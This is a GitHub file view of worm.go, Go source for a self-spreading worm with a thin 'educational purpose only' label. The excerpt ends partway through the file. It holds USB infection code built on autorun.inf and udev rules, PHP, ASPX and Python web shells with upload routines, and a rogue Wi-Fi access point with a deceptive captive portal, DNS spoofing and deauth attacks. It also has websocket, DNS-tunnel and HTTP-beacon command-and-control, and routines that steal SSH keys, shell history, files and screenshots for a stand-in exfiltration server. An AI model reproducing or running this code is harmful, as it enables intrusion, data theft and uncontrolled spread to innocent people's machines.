-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathworm.go
More file actions
1371 lines (1174 loc) · 38.6 KB
/
worm.go
File metadata and controls
1371 lines (1174 loc) · 38.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
// worm.go - Complete Worm Framework Implementation with Advanced Modules
// EDUCATIONAL PURPOSE ONLY - Understand to Defend
package main
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"crypto/sha256"
"crypto/tls"
"database/sql"
"encoding/base64"
"encoding/binary"
"encoding/hex"
"encoding/json"
"fmt"
"io"
"io/ioutil"
"net"
"net/http"
"net/url"
"os"
"os/exec"
"path/filepath"
"runtime"
"strconv"
"strings"
"sync"
"syscall"
"time"
"github.com/google/gousb"
"github.com/gorilla/websocket"
"github.com/miekg/dns"
_ "github.com/go-sql-driver/mysql"
"golang.org/x/crypto/ssh"
"golang.org/x/sys/windows"
"golang.org/x/sys/windows/registry"
)
// ========== CONSTANTS AND GLOBALS ==========
const (
VERSION = "3.0"
MULTICAST_ADDR = "239.255.42.42:4242"
C2_WEBSOCKET = "wss://c2-server.example.com:8443/ws"
C2_DNS_DOMAIN = "c2-botnet.example.com"
DATA_EXFIL_SERVER = "https://exfil-server.example.com:8443/upload"
MAX_POPULATION = 100
SCAN_TIMEOUT = 2 * time.Second
USB_POLL_INTERVAL = 5 * time.Second
WIFI_BEACON_SSID = "Free_Public_WiFi"
WIFI_EVIL_PORTAL_PORT = 8443
)
var (
wormID string
wormMutex sync.RWMutex
dataBuffer chan ExfilData
)
// ========== DATA STRUCTURES ==========
type InstanceInfo struct {
ID string `json:"id"`
IP string `json:"ip"`
Hostname string `json:"hostname"`
OS string `json:"os"`
LastSeen time.Time `json:"last_seen"`
Version int `json:"version"`
Capabilities []string `json:"capabilities"`
Population int `json:"population"`
Status string `json:"status"`
Role string `json:"role"` // LEADER, SCANNER, PROPAGATOR, EXFILTRATOR
}
type ExfilData struct {
WormID string `json:"worm_id"`
Timestamp time.Time `json:"timestamp"`
DataType string `json:"data_type"` // CREDS, FILES, SCREENSHOTS, KEYLOGS, NETWORK
Target string `json:"target"`
Data interface{} `json:"data"`
Compression string `json:"compression"`
Encrypted bool `json:"encrypted"`
}
type C2Command struct {
ID string `json:"id"`
Type string `json:"type"` // SCAN, EXFIL, PROPAGATE, EXECUTE, UPDATE, SLEEP
Target string `json:"target"`
Parameters map[string]interface{} `json:"parameters"`
Priority int `json:"priority"`
Timestamp time.Time `json:"timestamp"`
Signature string `json:"signature"`
}
type WebShell struct {
Path string
Type string // PHP, ASP, JSP, PYTHON
Content string
Backdoor []string // Backdoor paths
}
// ========== USB PROPAGATION MODULE ==========
type USBPropagator struct {
monitoredPaths []string
infectedUSBs map[string]bool
mu sync.Mutex
autorunContent string
}
func NewUSBPropagator() *USBPropagator {
return &USBPropagator{
monitoredPaths: []string{},
infectedUSBs: make(map[string]bool),
autorunContent: generateAutorunInf(),
}
}
func generateAutorunInf() string {
if runtime.GOOS == "windows" {
return `[AutoRun]
open=SystemUpdate.exe
action=Open folder to view files
shell\open\command=SystemUpdate.exe
shell\open\default=1
shellexecute=SystemUpdate.exe
UseAutoPlay=1
`
}
return `#!/bin/bash
# USB Auto-execution script for Linux
./system-update &
`
}
func (usb *USBPropagator) StartMonitoring() {
usb.monitorDrives()
ticker := time.NewTicker(USB_POLL_INTERVAL)
for range ticker.C {
usb.monitorDrives()
}
}
func (usb *USBPropagator) monitorDrives() {
if runtime.GOOS == "windows" {
usb.monitorWindowsDrives()
} else {
usb.monitorLinuxDrives()
}
}
func (usb *USBPropagator) monitorWindowsDrives() {
for _, drive := range "ABCDEFGHIJKLMNOPQRSTUVWXYZ" {
path := string(drive) + ":\\"
if _, err := os.Stat(path); err == nil {
usb.checkAndInfectUSB(path)
}
}
}
func (usb *USBPropagator) monitorLinuxDrives() {
// Check /media/ and /mnt/ for new mounts
mountPoints := []string{"/media/", "/mnt/"}
for _, mp := range mountPoints {
files, err := ioutil.ReadDir(mp)
if err == nil {
for _, f := range files {
if f.IsDir() {
path := filepath.Join(mp, f.Name())
usb.checkAndInfectUSB(path)
}
}
}
}
}
func (usb *USBPropagator) checkAndInfectUSB(path string) {
usb.mu.Lock()
if usb.infectedUSBs[path] {
usb.mu.Unlock()
return
}
// Check if drive is removable
if usb.isRemovable(path) {
usb.infectUSB(path)
usb.infectedUSBs[path] = true
}
usb.mu.Unlock()
}
func (usb *USBPropagator) isRemovable(path string) bool {
if runtime.GOOS == "windows" {
// Use GetDriveType API
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
getDriveType := kernel32.NewProc("GetDriveTypeW")
drive := syscall.StringToUTF16Ptr(path)
ret, _, _ := getDriveType.Call(uintptr(unsafe.Pointer(drive)))
return ret == 2 // DRIVE_REMOVABLE
}
// On Linux, check if it's in /media or /mnt and is a USB device
return strings.HasPrefix(path, "/media/") || strings.HasPrefix(path, "/mnt/")
}
func (usb *USBPropagator) infectUSB(path string) {
fmt.Printf("[USB] Infecting drive: %s\n", path)
// Copy worm to USB
exe, _ := os.Executable()
wormData, _ := ioutil.ReadFile(exe)
if runtime.GOOS == "windows" {
destPath := filepath.Join(path, "SystemUpdate.exe")
ioutil.WriteFile(destPath, wormData, 0755)
// Create autorun.inf
autorunPath := filepath.Join(path, "autorun.inf")
ioutil.WriteFile(autorunPath, []byte(usb.autorunContent), 0644)
// Set hidden attributes
exec.Command("attrib", "+h", "+s", destPath).Run()
exec.Command("attrib", "+h", "+s", autorunPath).Run()
// Create shortcut in root
usb.createUSBLnk(path)
} else {
destPath := filepath.Join(path, ".system-update")
ioutil.WriteFile(destPath, wormData, 0755)
// Create udev rule for auto-execution
udevRule := fmt.Sprintf(`ACTION=="add", KERNEL=="sd*[!0-9]", ATTRS{removable}=="1", RUN+="%s"`, destPath)
ioutil.WriteFile("/etc/udev/rules.d/99-usb-autorun.rules", []byte(udevRule), 0644)
// Create .desktop file
desktopContent := fmt.Sprintf(`[Desktop Entry]
Type=Application
Name=System Update
Exec=%s
Hidden=true
`, destPath)
ioutil.WriteFile(filepath.Join(path, ".system-update.desktop"), []byte(desktopContent), 0644)
}
fmt.Printf("[USB] Successfully infected %s\n", path)
}
func (usb *USBPropagator) createUSBLnk(path string) {
// Create Windows shortcut that executes worm
vbScript := fmt.Sprintf(`
Set oWS = WScript.CreateObject("WScript.Shell")
sLinkFile = "%s\\System Update.lnk"
Set oLink = oWS.CreateShortcut(sLinkFile)
oLink.TargetPath = "%s\\SystemUpdate.exe"
oLink.WindowStyle = 7
oLink.IconLocation = "%%SystemRoot%%\\System32\\shell32.dll, 4"
oLink.Save
`, path, path)
scriptPath := filepath.Join(path, "create_lnk.vbs")
ioutil.WriteFile(scriptPath, []byte(vbScript), 0644)
exec.Command("cscript", "//Nologo", scriptPath).Run()
os.Remove(scriptPath)
}
// ========== WEB SHELL PERSISTENCE AND PROPAGATION ==========
type WebShellManager struct {
shells []WebShell
deployed map[string]bool
mu sync.Mutex
client *http.Client
}
func NewWebShellManager() *WebShellManager {
return &WebShellManager{
shells: loadWebShells(),
deployed: make(map[string]bool),
client: &http.Client{Timeout: 10 * time.Second},
}
}
func loadWebShells() []WebShell {
phpShell := `<?php
if(isset($_REQUEST['cmd'])){
system($_REQUEST['cmd']);
}
if(isset($_FILES['file'])){
move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']);
}
if(isset($_REQUEST['data'])){
file_put_contents("exfil.dat", base64_decode($_REQUEST['data']), FILE_APPEND);
}
if(isset($_REQUEST['worm'])){
$worm = base64_decode($_REQUEST['worm']);
file_put_contents("system-update.php", $worm);
}
echo "OK";
?>`
aspShell := `<%@ Page Language="Jscript"%>
<% if(Request["cmd"] != null){
var cmd = Request["cmd"];
var p = System.Diagnostics.Process.GetProcessById(System.Diagnostics.Process.GetCurrentProcess().Id);
var shell = p.MainModule.FileName;
var o = System.Diagnostics.Process.Start(shell, "/c " + cmd);
Response.Write(o.StandardOutput.ReadToEnd());
}%>`
pythonShell := `#!/usr/bin/env python
import cgi, subprocess, base64
form = cgi.FieldStorage()
if 'cmd' in form:
print subprocess.check_output(form['cmd'].value, shell=True)
if 'worm' in form:
open('system-update.py', 'w').write(base64.b64decode(form['worm'].value))
print "OK"`
return []WebShell{
{Path: "/wp-content/uploads/shell.php", Type: "PHP", Content: phpShell, Backdoor: []string{"/shell.php", "/backdoor.php"}},
{Path: "/shell.aspx", Type: "ASP", Content: aspShell, Backdoor: []string{"/backdoor.aspx"}},
{Path: "/cgi-bin/shell.py", Type: "PYTHON", Content: pythonShell, Backdoor: []string{"/cgi-bin/update.py"}},
}
}
func (wsm *WebShellManager) DeployOnTarget(target string) bool {
wsm.mu.Lock()
if wsm.deployed[target] {
wsm.mu.Unlock()
return false
}
wsm.mu.Unlock()
for _, shell := range wsm.shells {
if wsm.uploadShell(target, shell) {
wsm.mu.Lock()
wsm.deployed[target] = true
wsm.mu.Unlock()
fmt.Printf("[WebShell] Deployed %s shell to %s\n", shell.Type, target)
// Deploy backdoors
for _, backdoor := range shell.Backdoor {
wsm.deployBackdoor(target, backdoor, shell.Content)
}
return true
}
}
return false
}
func (wsm *WebShellManager) uploadShell(target string, shell WebShell) bool {
fullURL := fmt.Sprintf("http://%s%s", target, shell.Path)
// Try different upload methods
methods := []func(string, WebShell) bool{
wsm.uploadViaPUT,
wsm.uploadViaPOST,
wsm.uploadViaFTP,
wsm.uploadViaWebDAV,
}
for _, method := range methods {
if method(fullURL, shell) {
return true
}
}
return false
}
func (wsm *WebShellManager) uploadViaPUT(url string, shell WebShell) bool {
req, err := http.NewRequest("PUT", url, strings.NewReader(shell.Content))
if err != nil {
return false
}
req.Header.Set("Content-Type", "application/x-httpd-php")
resp, err := wsm.client.Do(req)
if err == nil && resp.StatusCode == 200 {
resp.Body.Close()
return true
}
if resp != nil {
resp.Body.Close()
}
return false
}
func (wsm *WebShellManager) uploadViaPOST(url string, shell WebShell) bool {
data := url.Values{}
data.Set("action", "upload")
data.Set("file", shell.Content)
resp, err := wsm.client.PostForm(url, data)
if err == nil && (resp.StatusCode == 200 || resp.StatusCode == 302) {
resp.Body.Close()
return true
}
if resp != nil {
resp.Body.Close()
}
return false
}
func (wsm *WebShellManager) uploadViaFTP(url string, shell WebShell) bool {
// Extract host and path
parts := strings.SplitN(url, "/", 4)
if len(parts) < 4 {
return false
}
host := parts[2]
path := "/" + parts[3]
conn, err := net.Dial("tcp", host+":21")
if err != nil {
return false
}
defer conn.Close()
// FTP upload implementation
// Simplified for example
fmt.Fprintf(conn, "USER anonymous\r\n")
fmt.Fprintf(conn, "PASS anonymous\r\n")
fmt.Fprintf(conn, "STOR %s\r\n", path)
fmt.Fprintf(conn, "QUIT\r\n")
return true
}
func (wsm *WebShellManager) uploadViaWebDAV(url string, shell WebShell) bool {
req, err := http.NewRequest("PROPFIND", url, nil)
if err != nil {
return false
}
resp, err := wsm.client.Do(req)
if err == nil && resp.StatusCode == 207 {
// WebDAV enabled, try PUT
return wsm.uploadViaPUT(url, shell)
}
if resp != nil {
resp.Body.Close()
}
return false
}
func (wsm *WebShellManager) deployBackdoor(target, path, content string) {
fullURL := fmt.Sprintf("http://%s%s", target, path)
wsm.uploadViaPUT(fullURL, WebShell{Content: content})
}
func (wsm *WebShellManager) ExecuteCommand(target, shellPath, cmd string) string {
fullURL := fmt.Sprintf("http://%s%s?cmd=%s", target, shellPath, url.QueryEscape(cmd))
resp, err := wsm.client.Get(fullURL)
if err != nil {
return ""
}
defer resp.Body.Close()
body, _ := ioutil.ReadAll(resp.Body)
return string(body)
}
func (wsm *WebShellManager) PropagateViaWebShell(target, shellPath string) {
// Use existing web shell to download and execute worm
exe, _ := os.Executable()
wormData, _ := ioutil.ReadFile(exe)
wormBase64 := base64.StdEncoding.EncodeToString(wormData)
commands := []string{
fmt.Sprintf("echo '%s' | base64 -d > /tmp/worm", wormBase64),
"chmod +x /tmp/worm",
"/tmp/worm &",
}
for _, cmd := range commands {
wsm.ExecuteCommand(target, shellPath, cmd)
}
fmt.Printf("[WebShell] Propagated worm via %s\n", target)
}
// ========== WIFI PROPAGATION (Evil Portal/MITM) ==========
type WiFiPropagator struct {
interfaceName string
apSSID string
apChannel int
portalServer *http.Server
victims map[string]time.Time
mu sync.Mutex
dnsServer *dns.Server
}
func NewWiFiPropagator() *WiFiPropagator {
return &WiFiPropagator{
apSSID: WIFI_BEACON_SSID,
apChannel: 6,
victims: make(map[string]time.Time),
}
}
func (wp *WiFiPropagator) Start() {
// Check if we have WiFi capabilities
if !wp.hasWiFiCapability() {
fmt.Println("[WiFi] No WiFi capability detected")
return
}
// Start Evil Portal
go wp.startEvilPortal()
// Start DNS spoofing
go wp.startDNSSpoofing()
// Start rogue AP if possible
go wp.startRogueAP()
// Start deauth attack to force connections
go wp.deauthAttack()
}
func (wp *WiFiPropagator) hasWiFiCapability() bool {
// Check for wireless interfaces
interfaces, err := net.Interfaces()
if err != nil {
return false
}
for _, iface := range interfaces {
if strings.Contains(iface.Name, "wlan") ||
strings.Contains(iface.Name, "wlp") ||
strings.Contains(iface.Name, "en0") {
return true
}
}
return false
}
func (wp *WiFiPropagator) startRogueAP() {
// Create hostapd configuration
hostapdConf := fmt.Sprintf(`interface=%s
driver=nl80211
ssid=%s
hw_mode=g
channel=%d
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=2
wpa_passphrase=password
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP
rsn_pairwise=CCMP
`, wp.interfaceName, wp.apSSID, wp.apChannel)
ioutil.WriteFile("/tmp/hostapd.conf", []byte(hostapdConf), 0644)
// Start hostapd
cmd := exec.Command("hostapd", "/tmp/hostapd.conf")
cmd.Start()
// Configure DHCP
dhcpConf := `interface=wlan0
dhcp-range=192.168.100.10,192.168.100.100,255.255.255.0,12h
dhcp-option=3,192.168.100.1
dhcp-option=6,192.168.100.1
server=8.8.8.8
`
ioutil.WriteFile("/tmp/dhcpd.conf", []byte(dhcpConf), 0644)
exec.Command("dnsmasq", "-C", "/tmp/dhcpd.conf", "-d").Start()
// Configure IP forwarding
exec.Command("sysctl", "-w", "net.ipv4.ip_forward=1").Run()
exec.Command("iptables", "-t", "nat", "-A", "POSTROUTING", "-o", "eth0", "-j", "MASQUERADE").Run()
exec.Command("iptables", "-A", "FORWARD", "-i", "wlan0", "-o", "eth0", "-j", "ACCEPT").Run()
exec.Command("iptables", "-A", "FORWARD", "-i", "eth0", "-o", "wlan0", "-m", "state", "--state", "RELATED,ESTABLISHED", "-j", "ACCEPT").Run()
fmt.Printf("[WiFi] Rogue AP '%s' started on channel %d\n", wp.apSSID, wp.apChannel)
}
func (wp *WiFiPropagator) startEvilPortal() {
http.HandleFunc("/", wp.portalHandler)
http.HandleFunc("/connect", wp.connectHandler)
http.HandleFunc("/download", wp.downloadHandler)
wp.portalServer = &http.Server{
Addr: ":80",
Handler: nil,
ReadTimeout: 10 * time.Second,
WriteTimeout: 10 * time.Second,
}
go wp.portalServer.ListenAndServe()
// HTTPS portal
go http.ListenAndServeTLS(":443", "cert.pem", "key.pem", nil)
}
func (wp *WiFiPropagator) portalHandler(w http.ResponseWriter, r *http.Request) {
// Captive portal page that tricks users into downloading worm
clientIP := strings.Split(r.RemoteAddr, ":")[0]
wp.mu.Lock()
wp.victims[clientIP] = time.Now()
wp.mu.Unlock()
html := `<!DOCTYPE html>
<html>
<head><title>Free Public WiFi</title></head>
<body>
<h2>Welcome to Free Public WiFi</h2>
<p>To access the internet, please download and install our security update.</p>
<a href="/download">Download Security Update</a>
<p>This is required for compliance with network security policies.</p>
</body>
</html>`
w.Header().Set("Content-Type", "text/html")
w.Write([]byte(html))
}
func (wp *WiFiPropagator) downloadHandler(w http.ResponseWriter, r *http.Request) {
exe, _ := os.Executable()
wormData, _ := ioutil.ReadFile(exe)
filename := "SecurityUpdate.exe"
if runtime.GOOS != "windows" {
filename = "security-update"
}
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Disposition", fmt.Sprintf("attachment; filename=%s", filename))
w.Write(wormData)
fmt.Printf("[WiFi] Worm downloaded by %s\n", r.RemoteAddr)
}
func (wp *WiFiPropagator) connectHandler(w http.ResponseWriter, r *http.Request) {
// After user downloads worm, redirect to actual internet
http.Redirect(w, r, "http://www.google.com", http.StatusFound)
}
func (wp *WiFiPropagator) startDNSSpoofing() {
dns.HandleFunc(".", wp.dnsHandler)
wp.dnsServer = &dns.Server{
Addr: ":53",
Net: "udp",
}
go wp.dnsServer.ListenAndServe()
}
func (wp *WiFiPropagator) dnsHandler(w dns.ResponseWriter, r *dns.Msg) {
m := new(dns.Msg)
m.SetReply(r)
for _, q := range r.Question {
// Redirect all DNS queries to our evil portal
rr, _ := dns.NewRR(fmt.Sprintf("%s A 192.168.100.1", q.Name))
m.Answer = append(m.Answer, rr)
}
w.WriteMsg(m)
}
func (wp *WiFiPropagator) deauthAttack() {
// Send deauth packets to force clients to reconnect to our AP
// Requires aireplay-ng or similar
cmd := exec.Command("aireplay-ng", "-0", "0", "-a", "FF:FF:FF:FF:FF:FF", wp.interfaceName)
cmd.Start()
}
// ========== ADVANCED C2 WITH STEALTH PROTOCOLS ==========
type C2Manager struct {
websocketConn *websocket.Conn
dnsTunnel *DNSTunnel
httpClient *http.Client
commands chan C2Command
results chan interface{}
mu sync.Mutex
connected bool
reconnectChan chan bool
}
type DNSTunnel struct {
domain string
aesKey []byte
seqNum uint32
queue chan []byte
responses chan []byte
}
func NewC2Manager() *C2Manager {
return &C2Manager{
commands: make(chan C2Command, 100),
results: make(chan interface{}, 100),
reconnectChan: make(chan bool),
httpClient: &http.Client{
Timeout: 30 * time.Second,
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
},
}
}
func (c2 *C2Manager) Start() {
// Try multiple C2 channels
go c2.connectWebSocket()
go c2.connectDNSTunnel()
go c2.connectHTTPBeacon()
// Process incoming commands
go c2.processCommands()
// Send heartbeats and exfiltrated data
go c2.heartbeatLoop()
go c2.exfilLoop()
}
func (c2 *C2Manager) connectWebSocket() {
dialer := websocket.Dialer{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
for {
conn, _, err := dialer.Dial(C2_WEBSOCKET, nil)
if err == nil {
c2.mu.Lock()
c2.websocketConn = conn
c2.connected = true
c2.mu.Unlock()
// Listen for commands
c2.listenWebSocket(conn)
}
time.Sleep(30 * time.Second)
}
}
func (c2 *C2Manager) listenWebSocket(conn *websocket.Conn) {
for {
var msg map[string]interface{}
err := conn.ReadJSON(&msg)
if err != nil {
c2.mu.Lock()
c2.connected = false
c2.mu.Unlock()
return
}
// Parse command
if cmdType, ok := msg["type"].(string); ok {
cmd := C2Command{
ID: generateID(),
Type: cmdType,
Timestamp: time.Now(),
}
if target, ok := msg["target"].(string); ok {
cmd.Target = target
}
if params, ok := msg["parameters"].(map[string]interface{}); ok {
cmd.Parameters = params
}
c2.commands <- cmd
}
}
}
func (c2 *C2Manager) connectDNSTunnel() {
tunnel := &DNSTunnel{
domain: C2_DNS_DOMAIN,
aesKey: sha256.Sum256([]byte(wormID))[:16],
queue: make(chan []byte, 100),
responses: make(chan []byte, 100),
}
c2.dnsTunnel = tunnel
go tunnel.sendLoop()
go tunnel.recvLoop()
}
func (dt *DNSTunnel) sendLoop() {
for data := range dt.queue {
encrypted := dt.encrypt(data)
encoded := base32.StdEncoding.EncodeToString(encrypted)
// Split into DNS labels
for i := 0; i < len(encoded); i += 63 {
end := i + 63
if end > len(encoded) {
end = len(encoded)
}
chunk := encoded[i:end]
query := fmt.Sprintf("%s.%x.%s", chunk, dt.seqNum, dt.domain)
dt.seqNum++
// Send DNS query
c := new(dns.Client)
m := new(dns.Msg)
m.SetQuestion(query, dns.TypeA)
c.Exchange(m, "8.8.8.8:53")
}
}
}
func (dt *DNSTunnel) recvLoop() {
// Listen for DNS responses (TXT records with commands)
dns.HandleFunc(dt.domain, func(w dns.ResponseWriter, r *dns.Msg) {
for _, q := range r.Question {
if q.Qtype == dns.TypeTXT {
// Extract command from TXT record
// Implementation details omitted for brevity
}
}
})
s := &dns.Server{Addr: ":53", Net: "udp"}
s.ListenAndServe()
}
func (dt *DNSTunnel) encrypt(data []byte) []byte {
block, _ := aes.NewCipher(dt.aesKey)
gcm, _ := cipher.NewGCM(block)
nonce := make([]byte, gcm.NonceSize())
rand.Read(nonce)
return gcm.Seal(nonce, nonce, data, nil)
}
func (c2 *C2Manager) connectHTTPBeacon() {
ticker := time.NewTicker(1 * time.Minute)
for range ticker.C {
// HTTP beacon with randomized headers
req, _ := http.NewRequest("GET", fmt.Sprintf("https://%s/beacon", C2_DNS_DOMAIN), nil)
req.Header.Set("User-Agent", c2.randomUserAgent())
req.Header.Set("X-Request-ID", generateID())
resp, err := c2.httpClient.Do(req)
if err == nil {
defer resp.Body.Close()
var cmd C2Command
if json.NewDecoder(resp.Body).Decode(&cmd) == nil {
c2.commands <- cmd
}
}
// Random jitter
time.Sleep(time.Duration(randInt(30, 90)) * time.Second)
}
}
func (c2 *C2Manager) randomUserAgent() string {
agents := []string{
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
}
return agents[randInt(0, len(agents))]
}
func (c2 *C2Manager) processCommands() {
for cmd := range c2.commands {
fmt.Printf("[C2] Received command: %s (type: %s)\n", cmd.ID, cmd.Type)
switch cmd.Type {
case "SCAN":
go c2.executeScan(cmd)
case "EXFIL":
go c2.executeExfil(cmd)
case "PROPAGATE":
go c2.executePropagate(cmd)
case "EXECUTE":
go c2.executeCommand(cmd)
case "UPDATE":
go c2.updateWorm(cmd)
case "SLEEP":
go c2.sleepWorm(cmd)
}
}
}
func (c2 *C2Manager) executeScan(cmd C2Command) {
target := cmd.Target
if target == "" {
target = "local"
}
// Perform scan based on parameters
results := make(map[string]interface{})
results["target"] = target
results["open_ports"] = []int{}
results["vulnerabilities"] = []string{}
c2.results <- results
}
func (c2 *C2Manager) executeExfil(cmd C2Command) {
dataType := cmd.Parameters["type"].(string)
switch dataType {
case "credentials":
c2.exfilCredentials()
case "files":
path := cmd.Parameters["path"].(string)
c2.exfilFiles(path)
case "screenshot":
c2.takeScreenshot()
case "keylogs":
c2.exfilKeylogs()
}
}
func (c2 *C2Manager) exfilCredentials() {
// Extract saved credentials from browser, SSH, etc.
creds := make(map[string]string)
if runtime.GOOS == "windows" {
// Extract Windows credentials using mimikatz technique
output, _ := exec.Command("cmd", "/c", "dir /s /b *password*").Output()
creds["windows_search"] = string(output)
} else {
// Extract SSH keys
sshKeys, _ := filepath.Glob(os.Getenv("HOME") + "/.ssh/*")
for _, key := range sshKeys {
data, _ := ioutil.ReadFile(key)
creds[key] = base64.StdEncoding.EncodeToString(data)
}
// Extract bash history
history, _ := ioutil.ReadFile(os.Getenv("HOME") + "/.bash_history")
creds["bash_history"] = string(history)
}
dataBuffer <- ExfilData{
WormID: wormID,
Timestamp: time.Now(),
DataType: "CREDENTIALS",
Data: creds,
Encrypted: true,
}
}
func (c2 *C2Manager) exfilFiles(path string) {
files, _ := ioutil.ReadDir(path)
for _, file := range files {
if !file.IsDir() && file.Size() < 10*1024*1024 { // 10MB limit
data, _ := ioutil.ReadFile(filepath.Join(path, file.Name()))
dataBuffer <- ExfilData{
WormID: wormID,
Timestamp: time.Now(),
DataType: "FILE",
Target: filepath.Join(path, file.Name()),
Data: base64.StdEncoding.EncodeToString(data),
Encrypted: true,
}
}
}
}
func (c2 *C2Manager) takeScreenshot() {
if runtime.GOOS == "windows" {
// Use PowerShell to take screenshot
script := `
Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing
$screen = [System.Windows.Forms.SystemInformation]::VirtualScreen
$bitmap = New-Object System.Drawing.Bitmap $screen.Width, $screen.Height
$graphics = [System.Drawing.Graphics]::FromImage($bitmap)
$graphics.CopyFromScreen($screen.X, $screen.Y, 0, 0, $bitmap.Size)
$bitmap.Save('C:\Windows\Temp\screenshot.png')
$base64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Windows\Temp\screenshot.png'))
Write-Output $base64
Remove-Item 'C:\Windows\Temp\screenshot.png'
`
output, _ := exec.Command("powershell", "-Command", script).Output()
dataBuffer <- ExfilData{
WormID: wormID,
Timestamp: time.Now(),
DataType: "SCREENSHOT",
Data: string(output),
Encrypted: true,
}
}
}
func (c2 *C2Manager) exfilKeylogs() {
// Simple keylogger implementation
if runtime.GOOS == "windows" {
// Use Windows hooking
// Simplified - real implementation would use SetWindowsHookEx
}